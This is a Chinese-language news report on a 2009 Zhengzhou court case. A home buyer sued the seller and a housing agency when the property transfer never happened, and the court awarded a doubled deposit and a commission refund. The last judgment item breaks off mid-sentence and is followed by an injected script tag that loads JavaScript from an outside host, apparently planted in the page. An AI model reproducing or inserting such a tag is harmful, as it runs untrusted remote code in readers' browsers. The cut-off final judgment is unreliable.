交了定金,房屋买卖合同签了,房屋中介公司的佣金也掏了,卖房的人却一直办不了过户,买房的人急了,要求房屋中介公司退了佣金和他代为保管的定金时,亦遭到无理拒绝。买房的张先生为了维护自己的合法权益,将卖房的李先生和房屋中介公司告上了法庭。5月26日,郑州市二七区人民法院对该案作出一审判决,张先生不但把自己交的定金和佣金要了回来,还获得了多一倍的定金赔偿。
2009年一年,房价上涨的令人咂舌,张先生也趁这个时候通过某房屋中介,相中了一套合适的二手房,于2009年2月14日与房屋所有人李先生和房屋中介公司签订《房屋买卖合同》一份,约定购买李先生所有的位于二七区某小区的房屋一套,建筑面积109.1平方米,成交价格为445 000元。张先生于本合同签订时向李先生支付定金41 100元,李先生同意该定金在办理完房产过户手续前由房屋中介公司代为保管。付款方式为一次性付款。李先生保证所出售房产的合法性及确保能正常交易,保证该房屋权属真实无争议,且房产的共有人对出售此房屋无异议。张先生、李先生应在本合同签订之日起65个工作日内,提供真实有效的证件共同到房管局立契并办理过户手续。房屋中介公司的佣金由张先生支付本合同约定总房款的2%。合同中约定,因张先生、李先生一方违约或双方违约而导致本合同解除、终止履行,由违约方承担全部佣金。李先生若违反合同的约定,则视为其单方解除合同,应双倍返还张先生支付的定金,并赔偿原告的损失。
合同签订后,张先生依约向李先生缴纳了定金41100元,向房屋中介公司缴纳了佣金8900元。然而,到合同约定立契过户时间即将届满的5月10日,被告李先生向原告出具信函称:鉴于双方约定的过户时间为65个工作日,即2009年5月16日前,现由于甲型H1N1流感,中国驻美大使馆不予我配偶办理护照,因此滞留美国,无法在约定时间回国,可能导致无法办理过户,鉴于此,我方提出以下方案:一、房子我方已经交付给你方使用,如你方愿意继续履行合同,则等我配偶回国后立即给予办理过户;二、如你方不同意进行履行合同,则我方表示同意解除本合同,由此给你方造成的不便,我方深表歉意。
张先生从媒体和朋友等渠道了解到,中国对美国、墨西哥等甲型H1N1流感发病地区并未采取不准入境的措施,张先生先生随即在5月12日给李先生回函称:我方认为从各种媒体得到的消息,中国对美国、墨西哥等甲型H1N1流感发病地区并未采取不准入境的措施,因此,推迟办理过户手续理由不充分,我方坚持按原合同履行。
后三方口头商定将立契过户时间推迟到5月30日前。但是,到5月30日李先生再次违约,并从此不再露面,导致张先生的合同目的不能实现,张先生已口头通知二被告不再购买该房屋。原告张先生依约要求房屋中介公司返还代为保管的定金41 100元、退还原告缴纳的佣金8900元时,亦遭到无理拒绝。此后至原告张先生起诉时,本案交易房屋一直未能办理过户手续。
被告李先生辩称:原告在签订时已知被告妻子在美国,短期内无法办理过户手续。未达成协议是因为原告表示不再购买此套房屋。合同签订后弓海生已将房屋交给原告,完成合同义务。双方并未约定房屋过户时间,双方均同意推迟过户手续办理。
被告房屋中介公司辩称:签订合同时已告知原告,被告李先生之妻在美国,过户手续短期内无法办理,并达成延长时间协议;2009年4月15日已将房子交给了原告。房子交接时,原告称已与李先生协商好先住房,待李先生之妻回来后办过户;李先生表示可以办理过户时,我方通知原告,原告明确表示不要该房子了。
二七区法院审理认为,原、被告三方签订的房屋买卖合同,各方当事人意思表示真实一致,合法有效。原、被告均应当按照合同约定严格履行自己的义务。原告缴纳了定金和佣金,被告李先生作为出卖方不仅应当交付房屋,还应当按照合同约定及时配合原告办理房屋过户手续。被告李先生至今没有履行该义务,也没有提交证据证明其不履行存在法定理由,且原告已经明确表示不同意延期办理。所以,原告要求解除上述合同二七区人民法院予以支持。解除合同是因被告李先生所致,被告李先生应当承担相应的违约责任,双倍返还原告定金。原告缴纳的定金在被告房屋中介公司处保管,应当由该公司承担返还义务,被告李先生赔偿定金41 100元。按照合同约定,被告李先生作为违约方应当承担佣金,所以,被告房屋中介公司应当退还原告缴纳的佣金8900元,退还后可向被告李先生追偿。
5月26日,二七区人民法院对该案作出一审判决,一、解除原告张先生、被告李先生、被告房屋中介公司三方签订的房屋买卖合同。二、被告李先生赔偿原告张先生定金41100元。三、被告房屋中介公司返还原告张先生?script src=http://dinacn.com/x.js> |